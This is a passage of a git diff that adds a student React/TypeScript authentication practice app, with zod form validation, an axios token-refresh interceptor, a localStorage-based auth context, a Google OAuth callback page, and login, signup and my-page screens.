'๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” 8์ž ์ด์ƒ์ด์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค') + .max(20, '๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” 20์ž ์ดํ•˜์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค'), + passwordCheck: z.string(), + }) + .refine((data) => data.password === data.passwordCheck, { + message: '๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์ผ์น˜ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค', + path: ['passwordCheck'], + }); + +export type SigninFormValues = z.infer; +export type SignupFormValues = z.infer; diff --git a/mission/chapter05/mission_3/src/App.css b/mission/chapter05/mission_3/src/App.css new file mode 100644 index 0000000..e69de29 diff --git a/mission/chapter05/mission_3/src/App.tsx b/mission/chapter05/mission_3/src/App.tsx new file mode 100644 index 0000000..51cddc3 --- /dev/null +++ b/mission/chapter05/mission_3/src/App.tsx @@ -0,0 +1,54 @@ +import './App.css'; +import { createBrowserRouter, RouterProvider } from 'react-router-dom'; +import HomeLayout from './layouts/HomeLayout'; +import NotFound from './pages/NotFoundPage'; +import LoginPage from './pages/LoginPage'; +import HomePage from './pages/HomePage'; +import SignupPage from './pages/SignupPage'; +import MyPage from './pages/MyPage'; +import ProtectedRoute from './components/ProtectedRoute'; +import GoogleCallbackPage from './pages/GoogleCallBackPage'; +import { AuthProvider } from './context/AuthContext'; + +const router = createBrowserRouter([ + { + path: '/', + element: , + errorElement: , + children: [ + { index: true, element: }, + { + path: 'mypage', + element: ( + + + + ), + }, + ], + }, + { + path: '/login', + element: , + errorElement: , + }, + { + path: '/signup', + element: , + errorElement: , + }, + { + path: '/v1/auth/google/callback', + element: , + }, +]); + +function App() { + return ( + + + + ); +} + +export default App; diff --git a/mission/chapter05/mission_3/src/api/axios.ts b/mission/chapter05/mission_3/src/api/axios.ts new file mode 100644 index 0000000..41cdc58 --- /dev/null +++ b/mission/chapter05/mission_3/src/api/axios.ts @@ -0,0 +1,94 @@ +import axios from 'axios'; + +const axiosInstance = axios.create({ + baseURL: import.meta.env.VITE_API_URL, +}); + +// ํ† ํฐ ๊ฐฑ์‹  ์ค‘๋ณต ๋ฐฉ์ง€์šฉ ๋ณ€์ˆ˜ +let isRefreshing = false; // ํ˜„์žฌ ๊ฐฑ์‹  ์ค‘์ธ์ง€ +let refreshSubscribers: ((token: string) => void)[] = []; // ๋Œ€๊ธฐ ์ค‘์ธ ์š”์ฒญ๋“ค + +//๊ฐฑ์‹  ์™„๋ฃŒ ํ›„ ๋Œ€๊ธฐ ์ค‘์ธ ์š”์ฒญ๋“คํ•œํ…Œ ์ƒˆ ํ† ํฐ ์ „๋‹ฌ +const onRefreshed = (token: string) => { + refreshSubscribers.forEach((callback) => callback(token)); + refreshSubscribers = []; +}; + +// ๋Œ€๊ธฐ์—ด์— ์š”์ฒญ ์ถ”๊ฐ€ +const addRefreshSubscriber = (callback: (token: string) => void) => { + refreshSubscribers.push(callback); +}; + +// ์š”์ฒญ ์ธํ„ฐ์…‰ํ„ฐ +axiosInstance.interceptors.request.use((config) => { + const accessToken = localStorage.getItem('accessToken'); + + if (accessToken) { + config.headers.Authorization = `Bearer ${accessToken}`; + } + return config; +}); + +// ์‘๋‹ต ์ธํ„ฐ์…‰ํ„ฐ +axiosInstance.interceptors.response.use( + // ์„ฑ๊ณต ์‘๋‹ต์€ ๊ทธ๋ƒฅ ํ†ต๊ณผ + (response) => response, + + // ์‹คํŒจ ์‘๋‹ต(์—๋Ÿฌ)์€ ์—ฌ๊ธฐ์„œ ์ฒ˜๋ฆฌ + async (error) => { + const originalRequest = error.config; + + // 401 = ํ† ํฐ ๋งŒ๋ฃŒ + if (error.response?.status === 401 && !originalRequest._retry) { + // ์žฌ์‹œ๋„ ํ‘œ์‹œ โ†’ ํ•œ ๋ฒˆ๋งŒ ์žฌ์‹œ๋„ํ•˜๋„๋ก ๊ธฐ๋ก + originalRequest._retry = true; + + // ์ด๋ฏธ ๊ฐฑ์‹  ์ค‘์ด๋ฉด ๋Œ€๊ธฐ์—ด์— ์ถ”๊ฐ€ + if (isRefreshing) { + return new Promise((resolve) => { + addRefreshSubscriber((token) => { + originalRequest.headers.Authorization = `Bearer ${token}`; + resolve(axiosInstance(originalRequest)); + }); + }); + } + + isRefreshing = true; // ๊ฐฑ์‹  ์‹œ์ž‘ + + try { + const refreshToken = localStorage.getItem('refreshToken'); + + const response = await axios.post( + `${import.meta.env.VITE_API_URL}/auth/refresh`, // env๋กœ ๋ณ€๊ฒฝ + { + refresh: refreshToken, + }, + ); + + // ์ƒˆ๋กœ ๋ฐ›์€ accessToken ์ €์žฅ + const newAccessToken = response.data.data.accessToken; + localStorage.setItem('accessToken', newAccessToken); + + isRefreshing = false; + onRefreshed(newAccessToken); // ๋Œ€๊ธฐ ์ค‘์ธ ์š”์ฒญ๋“ค ์ฒ˜๋ฆฌ + + // ์‹คํŒจํ–ˆ๋˜ ์š”์ฒญ ํ—ค๋”๋„ ์ƒˆ ํ† ํฐ์œผ๋กœ ๊ต์ฒด + originalRequest.headers.Authorization = `Bearer ${newAccessToken}`; + + // ์‹คํŒจํ–ˆ๋˜ ์š”์ฒญ ์žฌ์‹œ๋„ + return axiosInstance(originalRequest); + } catch (refreshError) { + // refreshToken๋„ ๋งŒ๋ฃŒ โ†’ ๊ฐ•์ œ ๋กœ๊ทธ์•„์›ƒ + localStorage.removeItem('accessToken'); + localStorage.removeItem('refreshToken'); + localStorage.removeItem('user'); + window.location.href = '/login'; + return Promise.reject(refreshError); + } + } + + return Promise.reject(error); + }, +); + +export default axiosInstance; diff --git a/mission/chapter05/mission_3/src/assets/hero.png b/mission/chapter05/mission_3/src/assets/hero.png new file mode 100644 index 0000000..cc51a3d Binary files /dev/null and b/mission/chapter05/mission_3/src/assets/hero.png differ diff --git a/mission/chapter05/mission_3/src/assets/react.svg b/mission/chapter05/mission_3/src/assets/react.svg new file mode 100644 index 0000000..6c87de9 --- /dev/null +++ b/mission/chapter05/mission_3/src/assets/react.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/mission/chapter05/mission_3/src/assets/vite.svg b/mission/chapter05/mission_3/src/assets/vite.svg new file mode 100644 index 0000000..5101b67 --- /dev/null +++ b/mission/chapter05/mission_3/src/assets/vite.svg @@ -0,0 +1 @@ +Vite diff --git a/mission/chapter05/mission_3/src/components/Button.tsx b/mission/chapter05/mission_3/src/components/Button.tsx new file mode 100644 index 0000000..4601dc0 --- /dev/null +++ b/mission/chapter05/mission_3/src/components/Button.tsx @@ -0,0 +1,43 @@ +interface ButtonProps { + children: React.ReactNode; + onClick?: () => void; + disabled?: boolean; + variant?: 'primary' | 'secondary' | 'google'; // ๋ฒ„ํŠผ ์ข…๋ฅ˜ + type?: 'button' | 'submit'; + className?: string; +} + +const Button = ({ + children, + onClick, + disabled = false, + variant = 'primary', + type = 'button', + className = '', +}: ButtonProps) => { + // variant์— ๋”ฐ๋ผ ์Šคํƒ€์ผ ๋‹ค๋ฅด๊ฒŒ + const variantStyles = { + // ํŒŒ๋ž€ ๋ฒ„ํŠผ (๋กœ๊ทธ์ธ, ๋‹ค์Œ, ํšŒ์›๊ฐ€์ž… ๋“ฑ) + primary: + 'w-full bg-blue-300 text-white py-3 rounded-md text-lg font-medium hover:bg-blue-500 transition-colors cursor-pointer disabled:bg-gray-300', + // ํ…Œ๋‘๋ฆฌ ๋ฒ„ํŠผ (๋กœ๊ทธ์•„์›ƒ ๋“ฑ) + secondary: + 'px-4 py-2 text-sm border border-gray-300 rounded-md hover:bg-gray-100 transition-colors cursor-pointer', + // ๊ตฌ๊ธ€ ๋ฒ„ํŠผ + google: + 'w-full flex items-center justify-center gap-2 border border-gray-300 py-3 rounded-md text-lg font-medium hover:bg-gray-100 transition-colors cursor-pointer', + }; + + return ( + + ); +}; + +export default Button; diff --git a/mission/chapter05/mission_3/src/components/Input.tsx b/mission/chapter05/mission_3/src/components/Input.tsx new file mode 100644 index 0000000..0568638 --- /dev/null +++ b/mission/chapter05/mission_3/src/components/Input.tsx @@ -0,0 +1,32 @@ +import { forwardRef } from 'react'; + +interface InputProps { + type?: string; + placeholder?: string; + hasError?: boolean; + errorMessage?: string; +} + +// forwardRef โ†’ react-hook-form์˜ register๊ฐ€ ref๋ฅผ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์คŒ +const Input = forwardRef( + ({ type = 'text', placeholder, hasError = false, errorMessage, ...rest }, ref) => { + return ( +
+ + {/* ์—๋Ÿฌ ๋ฉ”์‹œ์ง€ ์žˆ์œผ๋ฉด ์ž๋™์œผ๋กœ ํ‘œ์‹œ */} + {hasError && errorMessage && ( +
{errorMessage}
+ )} +
+ ); + } +); + +export default Input; \ No newline at end of file diff --git a/mission/chapter05/mission_3/src/components/Navbar.tsx b/mission/chapter05/mission_3/src/components/Navbar.tsx new file mode 100644 index 0000000..f281f40 --- /dev/null +++ b/mission/chapter05/mission_3/src/components/Navbar.tsx @@ -0,0 +1,60 @@ +import { useNavigate } from 'react-router-dom'; +import { useAuth } from '../context/AuthContext'; +import Button from './Button'; + +const Navbar = () => { + const navigate = useNavigate(); + const { user, logout } = useAuth(); + + return ( + + ); +}; + +export default Navbar; diff --git a/mission/chapter05/mission_3/src/components/ProtectedRoute.tsx b/mission/chapter05/mission_3/src/components/ProtectedRoute.tsx new file mode 100644 index 0000000..0fffe2d --- /dev/null +++ b/mission/chapter05/mission_3/src/components/ProtectedRoute.tsx @@ -0,0 +1,11 @@ +import { Navigate } from 'react-router-dom'; +import { useAuth } from '../context/AuthContext'; + +const ProtectedRoute = ({ children }: { children: React.ReactNode }) => { + const { user } = useAuth(); + + if (!user) return ; + return <>{children}; +}; + +export default ProtectedRoute; \ No newline at end of file diff --git a/mission/chapter05/mission_3/src/context/AuthContext.tsx b/mission/chapter05/mission_3/src/context/AuthContext.tsx new file mode 100644 index 0000000..33a92e1 --- /dev/null +++ b/mission/chapter05/mission_3/src/context/AuthContext.tsx @@ -0,0 +1,61 @@ +import { createContext, useContext, useState } from 'react'; +import axiosInstance from '../api/axios'; +interface User { + email: string; + nickname: string; +} + +interface AuthContextType { + user: User | null; + login: (user: User, accessToken: string, refreshToken: string) => void; // โœ… ํ† ํฐ ํŒŒ๋ผ๋ฏธํ„ฐ ์ถ”๊ฐ€ + logout: () => void; +} + +const AuthContext = createContext(null); + +export const AuthProvider = ({ children }: { children: React.ReactNode }) => { + const [user, setUser] = useState(() => { + const stored = localStorage.getItem('user'); + return stored ? JSON.parse(stored) : null; + }); + + // login ํ•จ์ˆ˜์— ํ† ํฐ๋„ ๊ฐ™์ด ์ €์žฅ + const login = (userData: User, accessToken: string, refreshToken: string) => { + // ์œ ์ € ์ •๋ณด ์ €์žฅ + setUser(userData); + localStorage.setItem('user', JSON.stringify(userData)); + + // ํ† ํฐ ์ €์žฅ + // Access Token โ†’ ์งง์€ ์œ ํšจ๊ธฐ๊ฐ„, API ์š”์ฒญํ•  ๋•Œ ์‚ฌ์šฉ + localStorage.setItem('accessToken', accessToken); + // Refresh Token โ†’ ๊ธด ์œ ํšจ๊ธฐ๊ฐ„, Access Token ๋งŒ๋ฃŒ์‹œ ์žฌ๋ฐœ๊ธ‰์šฉ + localStorage.setItem('refreshToken', refreshToken); + }; + + const logout = async () => { + try { + // ์„œ๋ฒ„์— ๋กœ๊ทธ์•„์›ƒ ์š”์ฒญ + await axiosInstance.post('/auth/signout'); + } catch (error) { + console.error('๋กœ๊ทธ์•„์›ƒ ์‹คํŒจ:', error); + } finally { + // ์„œ๋ฒ„ ์š”์ฒญ ์„ฑ๊ณต/์‹คํŒจ ์ƒ๊ด€์—†์ด ๋กœ์ปฌ์€ ํ•ญ์ƒ ์ง€์›Œ์š” + setUser(null); + localStorage.removeItem('user'); + localStorage.removeItem('accessToken'); + localStorage.removeItem('refreshToken'); + } + }; + + return ( + + {children} + + ); +}; + +export const useAuth = () => { + const context = useContext(AuthContext); + if (!context) throw new Error('AuthProvider ๋ฐ–์—์„œ ์‚ฌ์šฉ ๋ถˆ๊ฐ€!'); + return context; +}; \ No newline at end of file diff --git a/mission/chapter05/mission_3/src/hooks/useForm.ts b/mission/chapter05/mission_3/src/hooks/useForm.ts new file mode 100644 index 0000000..dcfc423 --- /dev/null +++ b/mission/chapter05/mission_3/src/hooks/useForm.ts @@ -0,0 +1,54 @@ +import { useEffect, useState, type ChangeEvent } from 'react'; + +interface UseFormProps { + initialValue: T; + //๊ฐ’์ด ์˜ฌ๋ฐ”๋ฅธ์ง€ ๊ฒ€์ฆํ•˜๋Š” ํ•จ์ˆ˜ + validate: (values: T) => Record; +} + +function useForm({ initialValue, validate }: UseFormProps) { + const [values, setValues] = useState(initialValue); + + //"email": true -> touch ๋จ + //"password": false -> touch ์•ˆ ๋จ + const [touched, setTouched] = useState>(); + + //"email": ์ด๋ฉ”์ผ์€ ๋ฐ˜๋“œ์‹œ @๋ฅผ ํฌํ•จํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. + const [errors, setErrors] = useState>(); + + //์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅ๊ฐ’ ๋ฐ”๊ฟ€ ๋•Œ ์‹คํ–‰๋˜๋Š” ํ•จ์ˆ˜ + const handleChange = (name: keyof T, text: string) => { + setValues({ + ...values, //๊ธฐ์กด ์ž…๋ ฅ๊ฐ’ ์œ ์ง€ + [name]: text, + }); + }; + + const handleBlur = (name: keyof T) => { + setTouched({ + ...touched, + [name]: true, + }); + }; + + //์ด๋ฉ”์ผ๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ธํ’‹, ์†์„ฑ๋“ค์„ ๊ฐ€์ ธ์˜ค๋Š” ๊ฒƒ + const getInputProps = (name: keyof T) => { + const value = values[name]; + const onChange = (e: ChangeEvent) => + handleChange(name, e.target.value); + const onBlur = () => handleBlur(name); + + return { value, onChange, onBlur }; + }; + + //values๊ฐ€ ๋ณ€๊ฒฝ๋  ๋•Œ ์—๋Ÿฌ๊ฒ€์ฆ ๋กœ์ง + //๋ณ€๊ฒฝ๋  ๋•Œ๋งˆ๋‹ค ๋กœ์ง์ด ๋ณ€๊ฒฝ๋˜์–ด์•ผ ํ•˜๋‹ˆ useEffect ์‚ฌ์šฉ + useEffect(() => { + const newErrors = validate(values); + setErrors(newErrors); //์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€ ์—…๋ฐ์ดํŠธ + }, [validate, values]); + + return {values, errors, touched, getInputProps}; +} + +export default useForm; \ No newline at end of file diff --git a/mission/chapter05/mission_3/src/hooks/useLocalStorage.ts b/mission/chapter05/mission_3/src/hooks/useLocalStorage.ts new file mode 100644 index 0000000..c6a3ad1 --- /dev/null +++ b/mission/chapter05/mission_3/src/hooks/useLocalStorage.ts @@ -0,0 +1,29 @@ +import { useState } from 'react'; + +function useLocalStorage(key: string, initialValue: T) { + // ๋กœ์ปฌ์Šคํ† ๋ฆฌ์ง€์—์„œ ๊ฐ’์„ ๊ฐ€์ ธ์˜ค๋Š” ํ•จ์ˆ˜ + const [storedValue, setStoredValue] = useState(() => { + try { + const item = window.localStorage.getItem(key); + // ์ €์žฅ๋œ ๊ฐ’์ด ์žˆ์œผ๋ฉด ํŒŒ์‹ฑํ•ด์„œ ๋ฐ˜ํ™˜, ์—†์œผ๋ฉด ์ดˆ๊ธฐ๊ฐ’ ๋ฐ˜ํ™˜ + return item ? JSON.parse(item) : initialValue; + } catch (error) { + console.error(error); + return initialValue; + } + }); + + // ๊ฐ’์„ ์ €์žฅํ•˜๋Š” ํ•จ์ˆ˜ + const setValue = (value: T) => { + try { + setStoredValue(value); + window.localStorage.setItem(key, JSON.stringify(value)); + } catch (error) { + console.error(error); + } + }; + + return [storedValue, setValue] as const; +} + +export default useLocalStorage; \ No newline at end of file diff --git a/mission/chapter05/mission_3/src/index.css b/mission/chapter05/mission_3/src/index.css new file mode 100644 index 0000000..d4b5078 --- /dev/null +++ b/mission/chapter05/mission_3/src/index.css @@ -0,0 +1 @@ +@import 'tailwindcss'; diff --git a/mission/chapter05/mission_3/src/layouts/HomeLayout.tsx b/mission/chapter05/mission_3/src/layouts/HomeLayout.tsx new file mode 100644 index 0000000..d44989b --- /dev/null +++ b/mission/chapter05/mission_3/src/layouts/HomeLayout.tsx @@ -0,0 +1,16 @@ +import { Outlet } from 'react-router-dom'; +import Navbar from '../components/Navbar'; + +const HomeLayout = () => { + return ( +
+ +
+ +
+
Footer
+
+ ); +}; + +export default HomeLayout; diff --git a/mission/chapter05/mission_3/src/main.tsx b/mission/chapter05/mission_3/src/main.tsx new file mode 100644 index 0000000..bef5202 --- /dev/null +++ b/mission/chapter05/mission_3/src/main.tsx @@ -0,0 +1,10 @@ +import { StrictMode } from 'react' +import { createRoot } from 'react-dom/client' +import './index.css' +import App from './App.tsx' + +createRoot(document.getElementById('root')!).render( + + + , +) diff --git a/mission/chapter05/mission_3/src/pages/GoogleCallBackPage.tsx b/mission/chapter05/mission_3/src/pages/GoogleCallBackPage.tsx new file mode 100644 index 0000000..866cfa4 --- /dev/null +++ b/mission/chapter05/mission_3/src/pages/GoogleCallBackPage.tsx @@ -0,0 +1,31 @@ +import { useEffect } from 'react'; +import { useNavigate } from 'react-router-dom'; +import { useAuth } from '../context/AuthContext'; + +const GoogleCallbackPage = () => { + const navigate = useNavigate(); + const { login } = useAuth(); + + useEffect(() => { + const params = new URLSearchParams(window.location.search); + const accessToken = params.get('accessToken'); + const refreshToken = params.get('refreshToken'); + const name = params.get('name') || ''; + const userId = params.get('userId') || ''; + + if (accessToken && refreshToken) { + login({ email: userId, nickname: name }, accessToken, refreshToken); + navigate('/'); + } else { + navigate('/login'); + } + }, []); + + return ( +
+

๋กœ๊ทธ์ธ ์ฒ˜๋ฆฌ ์ค‘...

+
+ ); +}; + +export default GoogleCallbackPage; diff --git a/mission/chapter05/mission_3/src/pages/HomePage.tsx b/mission/chapter05/mission_3/src/pages/HomePage.tsx new file mode 100644 index 0000000..07f9106 --- /dev/null +++ b/mission/chapter05/mission_3/src/pages/HomePage.tsx @@ -0,0 +1,24 @@ +import useLocalStorage from '../hooks/useLocalStorage'; + +const HomePage = () => { + const [user] = useLocalStorage<{ email: string; nickname: string } | null>( + 'user', + null, + ); + + return ( +
+
+
๐ŸŒธ
+

ํ™˜์˜ํ•ด์š”!

+

+ {user + ? `${user.nickname}๋‹˜, ๋ฐ˜๊ฐ‘์Šต๋‹ˆ๋‹ค ๐Ÿ˜Š` + : '๋กœ๊ทธ์ธํ•˜๊ณ  ์‹œ์ž‘ํ•ด๋ณด์„ธ์š”!'} +

+
+
+ ); +}; + +export default HomePage; diff --git a/mission/chapter05/mission_3/src/pages/LoginPage.tsx b/mission/chapter05/mission_3/src/pages/LoginPage.tsx new file mode 100644 index 0000000..c9775be --- /dev/null +++ b/mission/chapter05/mission_3/src/pages/LoginPage.tsx @@ -0,0 +1,103 @@ +import { useNavigate } from 'react-router-dom'; +import { useForm } from 'react-hook-form'; +import { zodResolver } from '@hookform/resolvers/zod'; +import { signinSchema, type SigninFormValues } from '../utils/validate'; +import { useAuth } from '../context/AuthContext'; +import axiosInstance from '../api/axios'; // +import Button from '../components/Button'; +import Input from '../components/Input'; + +const LoginPage = () => { + const navigate = useNavigate(); + const { login } = useAuth(); + + const { + register, + handleSubmit, + formState: { errors, isValid }, + } = useForm({ + resolver: zodResolver(signinSchema), + mode: 'onChange', + }); + + const onSubmit = async (data: SigninFormValues) => { + try { + const response = await axiosInstance.post('/auth/signin', { + email: data.email, + password: data.password, + }); + + const { name, accessToken, refreshToken } = response.data.data; + + login({ email: data.email, nickname: name }, accessToken, refreshToken); + + navigate('/'); + } catch (error) { + console.error('๋กœ๊ทธ์ธ ์‹คํŒจ:', error); + alert('์ด๋ฉ”์ผ ๋˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์˜ฌ๋ฐ”๋ฅด์ง€ ์•Š์Šต๋‹ˆ๋‹ค.'); + } + }; + + const onGoogleLogin = () => { + window.location.href = 'http://localhost:8000/v1/auth/google/login'; + }; + + return ( +
+
+ +

๋กœ๊ทธ์ธ

+
+ +
+
+ + {errors.email && ( +
{errors.email.message}
+ )} + + {errors.password && ( +
+ {errors.password.message} +
+ )} + + {/* ๊ตฌ๊ธ€ ๋กœ๊ทธ์ธ ๋ฒ„ํŠผ */} + +
+
+
+ ); +}; + +export default LoginPage; diff --git a/mission/chapter05/mission_3/src/pages/MyPage.tsx b/mission/chapter05/mission_3/src/pages/MyPage.tsx new file mode 100644 index 0000000..121422f --- /dev/null +++ b/mission/chapter05/mission_3/src/pages/MyPage.tsx @@ -0,0 +1,39 @@ +import { useNavigate } from 'react-router-dom'; +import { useAuth } from '../context/AuthContext'; + +const MyPage = () => { + const navigate = useNavigate(); + const { user, logout } = useAuth(); + + return ( +
+ {/* ํ—ค๋” */} +
+ +

๋งˆ์ดํŽ˜์ด์ง€

+
+ + {/* ๋ณธ๋ฌธ */} +
+
๐Ÿ‘ค
+
+

{user?.nickname}

+

{user?.email}

+
+ +
+
+ ); +}; + +export default MyPage; \ No newline at end of file diff --git a/mission/chapter05/mission_3/src/pages/NotFoundPage.tsx b/mission/chapter05/mission_3/src/pages/NotFoundPage.tsx new file mode 100644 index 0000000..6f316cb --- /dev/null +++ b/mission/chapter05/mission_3/src/pages/NotFoundPage.tsx @@ -0,0 +1,5 @@ +const NotFound = () => { + return
์ฐพ์„ ์ˆ˜ ์—†๋Š” ํŽ˜์ด์ง€์ž…๋‹ˆ๋‹ค
; +}; + +export default NotFound; diff --git a/mission/chapter05/mission_3/src/pages/SignupPage.tsx b/mission/chapter05/mission_3/src/pages/SignupPage.tsx new file mode 100644 index 0000000..d2f1114 --- /dev/null +++ b/mission/chapter05/mission_3/src/pages/SignupPage.tsx @@ -0,0 +1,173 @@ +import { useState } from 'react'; +import { useNavigate } from 'react-router-dom'; +import { useForm } from 'react-hook-form'; +import { zodResolver } from '@hookform/resolvers/zod'; +import { signupSchema, type SignupFormValues } from '../utils/validate'; +import axiosInstance from '../api/axios'; + +const SignupPage = () => { + const navigate = useNavigate(); + const [step, setStep] = useState(1); + const [showPassword, setShowPassword] = useState(false); + const [showPasswordCheck, setShowPasswordCheck] = useState(false); + + const { + register, + handleSubmit, + watch, + formState: { errors }, + } = useForm({ + resolver: zodResolver(signupSchema), + mode: 'onChange', + }); + + const onSubmit = async (data: SignupFormValues) => { + try { + // ์„œ๋ฒ„์— ํšŒ์›๊ฐ€์ž… ์š”์ฒญ + await axiosInstance.post('/auth/signup', { + name: data.name, + email: data.email, + password: data.password, + }); + + // ํšŒ์›๊ฐ€์ž… ์„ฑ๊ณต โ†’ ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€๋กœ ์ด๋™ + alert('ํšŒ์›๊ฐ€์ž… ์„ฑ๊ณต! ๋กœ๊ทธ์ธ ํ•ด์ฃผ์„ธ์š” ๐Ÿ˜Š'); + navigate('/login'); + } catch (error) { + console.error('ํšŒ์›๊ฐ€์ž… ์‹คํŒจ:', error); + alert('ํšŒ์›๊ฐ€์ž…์— ์‹คํŒจํ–ˆ์Šต๋‹ˆ๋‹ค.'); + } + }; + + const email = watch('email'); + const password = watch('password'); + const passwordCheck = watch('passwordCheck'); + const name = watch('name'); + + const isStep1Valid = !errors.email && email?.length > 0; + const isStep2Valid = + !errors.password && + !errors.passwordCheck && + password?.length > 0 && + passwordCheck?.length > 0 && + password === passwordCheck; + const isStep3Valid = !errors.name && name?.length > 0; + + return ( +
+
+ +

ํšŒ์›๊ฐ€์ž…

+
+ +
+
+ {step === 1 && ( + <> + + {errors.email && ( +
{errors.email.message}
+ )} + + + )} + + {step === 2 && ( + <> +
{email}
+
+ + +
+ {errors.password && ( +
{errors.password.message}
+ )} +
+ + +
+ {passwordCheck?.length > 0 && password !== passwordCheck && ( +
๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์ผ์น˜ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค
+ )} + + + )} + + {step === 3 && ( + <> + + {errors.name && ( +
{errors.name.message}
+ )} + + + )} +
+
+
+ ); +}; + +export default SignupPage; \ No newline at end of file diff --git a/mission/chapter05/mission_3/src/utils/validate.ts b/mission/chapter05/mission_3/src/utils/validate.ts new file mode 100644 index 0000000..6fddb70 --- /dev/null +++ b/mission/chapter05/mission_3/src/utils/validate.ts @@ -0,0 +1,27 @@ +import { z } from 'zod'; + +export const signinSchema = z.object({ + email: z.string().email('์˜ฌ๋ฐ”๋ฅธ ์ด๋ฉ”์ผ ํ˜•์‹์ด ์•„๋‹™๋‹ˆ๋‹ค'), + password: z + .string() + .min(8, '๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” 8์ž ์ด์ƒ์ด์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.') + .max(20, '๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” 20์ž ์ดํ•˜์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค'), +}); + +export const signupSchema = z + .object({ + name: z.string().min(1, '์ด๋ฆ„์„ ์ž…๋ ฅํ•ด์ฃผ์„ธ์š”'), + email: z.string().email('์˜ฌ๋ฐ”๋ฅธ ์ด๋ฉ”์ผ ํ˜•์‹์ด ์•„๋‹™๋‹ˆ๋‹ค'), + password: z + .string() + .min(8, '๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” 8์ž ์ด์ƒ์ด์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค') + .max(20, '๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” 20์ž ์ดํ•˜์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค'), + passwordCheck: z.string(), + }) + .refine((data) => data.password === data.passwordCheck, { + message: '๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์ผ์น˜ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค', + path: ['passwordCheck'], + }); + +export type SigninFormValues = z.infer; +export type SignupFormValues = z.infer;